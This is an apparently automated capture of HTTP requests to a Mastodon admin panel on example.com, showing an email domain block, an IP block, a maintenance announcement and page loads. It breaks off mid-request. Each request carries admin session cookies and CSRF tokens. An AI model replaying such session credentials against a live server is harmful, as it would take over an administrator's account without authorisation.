{"method": "GET", "target": "/admin/instances?limited=1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/domain_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjYuNjcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--aab3f883940745643f9781a544c98174a3cc09b3; _mastodon_session=NOScc1SbwlMxCaWBQq4CP8k4N0KvCGYeZbpb33TSxPqwGV4Dk2Fn5nGruOxWN5l4q9yWwrbWNvwBBiwITZ66DRLQpbcA2zMCjF0MLzDlhzwsk7kZNA3eviDkcJtTsaj0vGbV979Dz71iXReSra%2BVAx99wWdI46H2D8QpIxBX9cbqVAcAuT8TBsgrOpoW7YpIK4G85rVuvi8xCN22tfB2l7IUjAXPN8z71c%2F4LmJQ1ql6ShOb%2FG0T%2FnLhlGWbsxDxx6ipbakFPZAfLCu62DgcQCUIsfLZUSM%2FJDMCPf0bf7x%2B85ID%2F0AcCYok8BhjVWE0kdamNmuaRiVQ83UVHgVqFTNF4UBMsbBr%2Bju5lYnRDm0tDWjz1a32PI2CT5NPPkW6O%2FT%2BNqghmKNq%2Fb7bnw9exybLzzmOVssgYiaVJI8i1njggL4tu17RoGthPbjKGrXtJ1zAPF%2FE9VCsBHrIbHSOFbOiTU%2BlC6gLm9MDlK5LnZTXGv8L75TNYBeQR%2Fk8a8BXoJSSHbJh5Tny710LTen5%2FmDAu%2BUe--UfFCrUkltKisjKVB--ji9Uj3VKyQOPyrjYpmqHBg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/email_domain_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjYuNzMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--1ebb4361e3fcafe449d2b63cf31de85dc82f77bd; _mastodon_session=XS%2FgM9qxAkibvuPqWv4K4SVCV8K47wxegwnawGadeU%2Bfsm05TcAo7H4ZLWAsxdGRfrpSymWu9j7l3OteUpoQHprgyVcSp61HEFOi%2FKf61cjEFmURP%2BlLnnn3SpfpwjA3%2FKdrltZXEAbV6aTLR7yhXYSrQu9TR5ubqrxiLo9cxtO3RpQm3gQdolJPwEwC0qEEywUoiElXOaTPr4Cp3qxzR4HLweFlEbO8a8%2FY3DxK4B8XuZ%2FipdBU3D47VA2UUhTmOzm5Cjigk58%2BpUzaX97pq9f%2FTI2VgP0uGyJ7aYqOCmHIj%2FoRPQyWmU%2BNN%2FJMLMOfgzhRjMTA4M1PaKiaPwBo55zEDI49AuRervdMI7rf5lNZ1SuIP8sVxwk%2BE2HOMC8o%2FQLR77YFpz5%2F--7kK17PUx6KZMcRRs--nbYtDwqjM7G%2FiwiAf6RX7g%3D%3D"], "body": ""}
{"method": "POST", "target": "/admin/email_domain_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 204", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/email_domain_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjcuMDg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--452c3745a24ba12f10045cbf12ab79fd89a06560; _mastodon_session=ls5GnDYtF9%2BZHeBNv8QsoPUGN9vWygQK0Q4fEa%2BDUSu9FkGTaXXvMhHnl4ENLsNEUO4EcpDdZYiRR5MW35%2BlR4A%2BulqUu6Ahw2RdfumPEPwwab6jqNdy%2BrEKFLV4TYEo%2B0k2rYJcb%2BD75%2FcA9mcHddQCE9whMM8kQYV4npgpTp%2F6UI1JS8wMsklIaum7yGOcUpZCJAy5A0G09pibnGI0FeBfRvAfQH24jMfLVlZdGYqrVH1NauwlqlufSCPTJ4FDz37pth1cCTL%2Fxxbm7AqyxN442m27i7xaMTJOZsevj0Elsi0ixY0gSD5BELnwdmzMTpo3wtldapJduqwvWtrQKziyfK%2FgPPz9spr%2BaFS67K%2FVNZOGQYjEOv5Wf%2FpzdAnpeGPsgYZOv5v6--FxtdisUNfm8sOnNu--7dGXbVpWCblcuGNM3JFxMw%3D%3D"], "body": "authenticity_token=TPzeJA2bYJ2wVg6tXA0YPhOu6vzyixQfohyk9j0SBeMyWPq3kSaKceLiKk9BPpp78naE-IX1WgSZg7UixVitOA&email_domain_block%5Bdomain%5D=spam.example&email_domain_block%5Ballow_with_approval%5D=0&resolve="}
{"method": "GET", "target": "/admin/ip_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjkuOTY5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--34510cc16ed1fe589a96dc7b1f0bed36f6f82a76; _mastodon_session=a1JgCoLt6TDQwFms7KOCztuWGyJfYtGyZ3GEiI9jUUbJpKJ9VR6CBvC%2BSq5vOGzPpbUfQQqEkZn3SwB6w2P0uf653IHRURd3CM9j8Bw%2FOZYFOITHUwL08l7MNmEAik%2FvHGEkiYIiJHlFe3I%2FyfCF3C2KQff9G9Xs6q7JWq4m9edJRPdb9ftKDmnoH%2F0H66BqLm08iLWEOGNDjzfHvZmanZiLiDdEx0pA3t%2FdqEcLfJeDJ2TZVHHqdLCMylRC0cxit3oHVh%2F3nD9xpwvB5XY3rmcfxg7rGJ8eyQCRopRllX4%2FGhXqHFwV6HnH2KswqDz8jOEjSwOJJnPdkpyrP%2BXe1LNaX8snKdNrrjecEySrv5JnaVViTDYmlRdu6EnJLMvrHl%2BINGzxVe35--EMkfhIEeM2hCxbQt--Y2qSfsw%2FYWwioKDrnTVmgA%3D%3D"], "body": ""}
{"method": "POST", "target": "/admin/ip_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 290", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/ip_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzAuMjk0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--29523232f18007b3cdf28bcea4668c757fd396d4; _mastodon_session=dGgRedzdPz0Hto6JkkvowWVDuyW5zgeXnkzzohLB7RnmtwsizKYyAWbZ%2FOcmB%2FBbp6Ikb70hx%2F8yCiMTKa%2BcWNRqFT9aoTvKSQfMBrzeQU02C3LUSPatyNXvrzK20jR3pRzuxrshFS11vkC%2BR2cK%2FMjoONArmegtr1A9smozW8IkQ03KLPWNJfyTAqe1fMMvL1I9D%2FUBrt93TMcgxGfvNBpvWk51ApMbSRNqaFfShcfIJmKDWtzOAlVfoh3zSLSEFege3%2BAdI6wCwFs%2FMBKwYi%2BZ5d4N64ECjDWfVDRcJj%2BykpDP%2BwbiQvaQvU14Y2YeGeXFQtRdpDZLVXTsyZg9wT5RmcN8vdydzA%2F%2F0EUz2TkbzptYn0rsIrOrtLR6t7Cw%2Fw1NGqArFR10--x3sO%2B2TG5kyKbpI%2F--YM8DeGzxglGELy6EzELFog%3D%3D"], "body": "authenticity_token=KROY_blrRl-NpBMidcSD23e3Dg9q2e0ZPC670MDcQZ0RNrGJxtGLxuSy5OiqXBsLZ1BfL6amLwNqt2XAt137DA&ip_block%5Bip%5D=192.0.2.0%2F24&ip_block%5Bexpires_in%5D=31556952&ip_block%5Bseverity%5D=&ip_block%5Bseverity%5D=no_access&ip_block%5Bcomment%5D=Signups+running+python3+scripts&button="}
{"method": "GET", "target": "/admin/ip_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/ip_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuMDA1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4633049dea115bde7f605f4306d25be255fd1cf0; _mastodon_session=pyKRZqtCEY4GekaM8LY1%2BIG0YoMXBEbMCg2pZHou%2BdfRzj%2Fj8bT7Cuitwiwff1hqoX89CDSceIY0B47TY3Yve3kUCzUYOTF94FP4oeYRm%2Fz6OzP2NmB%2Bo6GdK%2FjnDoQLXfP2MvFY3uEvdQ5oRP99k0Oc7aHLvrSXTSL%2FRfr5a19WtvkLEm65hwkbyuArQ4TkEGR3VASNH2LbnkJDb93NBEa4fJTuhd2SGZdYHXpriZGCEQOWpdgW7bp8YKTTLGZ048uq3V1vck%2FI1BP1Z8tlFZmsauxtx6E5umeQArF3lri5CPAZ8PdYTvq%2F1qvswH2t2EeuPQA%2FnKm%2BN430dPoqCPilESrOoodO5uFwQ353FCcMLJKuIrHGu%2FzCDebg1CrqYM1cSewfhkpk9EztYshhKltz6hYK8gN6BX5mxACkXXa0bIhHP9BWXD0LMSwA0YON9BNBjpeqnRwsZHreCw7pN11XkaSbqtOP55uK6giy0oWvtboH0xNQmyAa%2Bb53ZvKISWWQe5lsE9d8zswhrliRj2I%3D--L7t%2BZ0cGdWaB%2Bl7w--0RjkY%2BTSQunvzqpssYgwpQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/rules", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuMDQwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0a95f23a97cba1deb056bf2e11240de2e5db68c0; _mastodon_session=zASPRkwCVZXDwzqk3Yo8SiXqxP8Uh3diTsfgZYLJy3kfJAesBfC%2FqtoZXE6%2FeOdKax2AM%2FLFGS%2F6cnGCVSYNsQRaEJgbeNrN%2B00YSDqO2V6wTCjESYwrpxKNeP9W3rBgQt5sfKSGvc6wu2Lsk4W9ej2DfmLrcQzH6EeEuyVCpncB3U5I%2FbEBKVfhgHOareUSXu9p9Zh603uXYyL1o79Evox2UNU6i6lxbR435XuPK9eRv1TR5jz%2BpxV6t3HOArrXyHwvwZSiKtx2zhjTEknIs8I%2B2qIJmH8TOGlXPNbFWRQZaWYjKa61HLAWKsXFSsZFKB2iEJKYadQfhE7DXOMR6p7k%2FgG7uIwaCt11LYHmNgwQodnnjxhUBq1ZBZSq7loeAXMGN2TrXFJx--W4li6by68qd3ZFPL--Zy59buBau0tOfskoMaqr4g%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/polyfills-BO_K2Jdc.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/rules", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuNDMzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--27cca1c866f1db79a27e9e0deba8a8f2f268ea0c; _mastodon_session=C4NAubBD8YJPam%2BezzYeJcKw6wH%2FvHhRvYl2K2%2BCAO3wNSn4wVJnOXBmoNorFjcacrBp5FT6Tfv%2FPq1Wi6NjBFIrkctu1%2Fwsnf1W41lWPr59cQq%2FHq1VD8P%2Flly0hYZY4Ab2SEkUa8V7CcfXSbfd%2B6Pb5DJpYWEC9wWedrFMi9NyKTiTwvaiJrNYNREyuMKXqUbD1raUXc5Jo1ZZ3ay1ERMiJYcV94w3Q8FEg%2Bwvhe1TW0ilpMVPKCoYok7iCCxS2mAtj0RCAFE3i3YizRbuXNqemfClEHOJwL44QzyG7yvdrKluKhhMkMhLhd0GdnbnThGCdwP9J3FOHwyEsXBigXmMHGb2CBWD0Yb2gigyl3XqKuoSDfQq%2BKJy%2BOxtOGkMXOLegdqpqtm1--FAQ4xdI4FzAXKdgH--jOD5qAAaJmKgLrpLuk0MKw%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/announcements/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuNDMzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--27cca1c866f1db79a27e9e0deba8a8f2f268ea0c; _mastodon_session=C4NAubBD8YJPam%2BezzYeJcKw6wH%2FvHhRvYl2K2%2BCAO3wNSn4wVJnOXBmoNorFjcacrBp5FT6Tfv%2FPq1Wi6NjBFIrkctu1%2Fwsnf1W41lWPr59cQq%2FHq1VD8P%2Flly0hYZY4Ab2SEkUa8V7CcfXSbfd%2B6Pb5DJpYWEC9wWedrFMi9NyKTiTwvaiJrNYNREyuMKXqUbD1raUXc5Jo1ZZ3ay1ERMiJYcV94w3Q8FEg%2Bwvhe1TW0ilpMVPKCoYok7iCCxS2mAtj0RCAFE3i3YizRbuXNqemfClEHOJwL44QzyG7yvdrKluKhhMkMhLhd0GdnbnThGCdwP9J3FOHwyEsXBigXmMHGb2CBWD0Yb2gigyl3XqKuoSDfQq%2BKJy%2BOxtOGkMXOLegdqpqtm1--FAQ4xdI4FzAXKdgH--jOD5qAAaJmKgLrpLuk0MKw%3D%3D"], "body": ""}
{"method": "POST", "target": "/admin/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 308", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/announcements/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDYuMzM4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2fa1141b943b5e47a82df7250b4f9fbba8b5af30; _mastodon_session=3r95%2BUmpz40KbRC0GGE0c61esQPfZkznJaR8lXejOEnaV9Tiekb8oJAiNxAFsRyxeaKIEeg7SOq%2FONhIUQI0PomoAeQnbQGm4%2FM6aXw7uVN3ARyzz2bVW0eVmJBpD96rNRIsYDn5LtvCH%2BjR5o9MioAekmxoBY9XxWRryyn%2F3OyqrB038q65KnH6vRuubSXTvuRjZbiwTI3kT%2FyM5cwwXhrYNJM3nnCOFOuS0r9EARMyILae51euD3F%2BQ674x4ipczL03Hx%2Fsak4cJ7rj4fUda5rhbEU4AWhT1QnZfLfg0lMTUdCW17IUbBaMLE3rCQ3JPqeymp4xXONYhGL8vY%2FvKjZzzWeipfD9ZklWDMa%2FEi3Ox9ynkgpaIhBm05LptF%2BpFYtEMGWNugT--%2FgY4P7hwpd96Ltw9--WC4a%2BiCCq0%2B0RIVnJF%2FY6A%3D%3D"], "body": "authenticity_token=xVadhg4Y_iKoHFT95qnCai4mq0HvrsR7i2wkL7JbVuDoZQWRyEJxwEgeaUlASzpPM5ZdKPhpA1_AWu6Sdq_Nkg&announcement%5Bstarts_at%5D=&announcement%5Bends_at%5D=&announcement%5Ball_day%5D=0&announcement%5Btext%5D=Maintenance+tonight%3A+python3+upgrade%2C+ls+-la+checks&announcement%5Bscheduled_at%5D=&button="}
{"method": "GET", "target": "/admin/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/announcements/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDkuMzgzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3d67c8f8127fa5e75497be9d601bfb3e4ea22e08; _mastodon_session=ktF%2F8m62uGVKKe6ITzjOqlOOw4gRGyvFYv%2Bd2Hv%2BLth0mPAMoUbtsKQpO%2FPlJstLfFIupZ3ElFTLewz84MbNOM%2FAKLns0QLxM40Y7%2FBTBtxi4akMVqQPaI8PYs5MmLehBZDBkgQlMX%2B7qXrLEuKRjoBNGSQE24WjRnGprUGdCqGPy3SNuoi7q%2FbvFbNklQmAPebUDE9QRYa%2BCjk1nuI5wi3pz0KqyZPokzVbnebfxbj1zETgSyIjbDHS2k7DSYX9SZCHCVskxqbiBDi6EB8HRmKiMqzdybjHMJNjZplYfJhrcQHCBKsAd31w3zqT37G4S%2BgYzcluHrPYJi2cDIDkKgqYEKV8DL5eJX6tUE0ydo52KXq7UyPVnocHGYty7fu22ecOYTaZDHAEuz0bDnAnAvKNRv7ldxvsMyjENiBsTl%2BL8%2FGtU2T6W686c%2FMsBAUW6Ibgff30Y6bzhQr0lRdqskyBJL5ExKnCpJZkCywDwsuoloe1tUoZbgzX%2BUjW%2FRM99HNap%2B7RxpMhFWq16daBm4UbaLMYg0S%2FWg%3D%3D--vYfUJzVf590%2By35c--IvJ81SLwqpE6OZ1FO3W2Gg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/settings/branding", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDkuNDA5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b9a396fd330755ae1bcc67de6c50a72fa6317441; _mastodon_session=b6QexfHqbwiAR0Dc0HG7whPfglqxYoOXVlBmmkM6ap1xULNY7YsuDxQUOYpRRNF0o4xf%2BuudcdpLIaLVG1a9nh5jNmK5qeFx45bWpiCP9go5xEtK7DspefKq1tvamqxr%2BB%2BTYwhSZPiICbNwuwEbgKa2dp%2BukKv9SHnMz5yMt6hlPZnc6IiIxzjAmGJVhpDYPu6EoZfDsHJ0Mb1VZimHZZOyYtn2CQikONZfCDfD747uEkig%2FcjVeM8w7MJwE%2BTYTA05HIL7RmhPZh7FjvPJubekwPORazd3Q%2BUeVIAE%2FMGavBBQgvXkXwsY%2BSISS8VHtm13tVG%2B0oDRLnAM6E2HEfhgbZpoSetGBeTQ6fK2mb2sxvnDzfUhtlfeWWDAMSPr3RK0iJr3JF2A--BPOl15QO5rUWNWum--pP1nRAy%2Bq%2BYrefS2BjfHng%3D%3D"], "body": ""}
{"method": "POST", "target": "/admin/settings/branding", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1760", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBus0dNQxdGU0ymA8", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/settings/branding", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 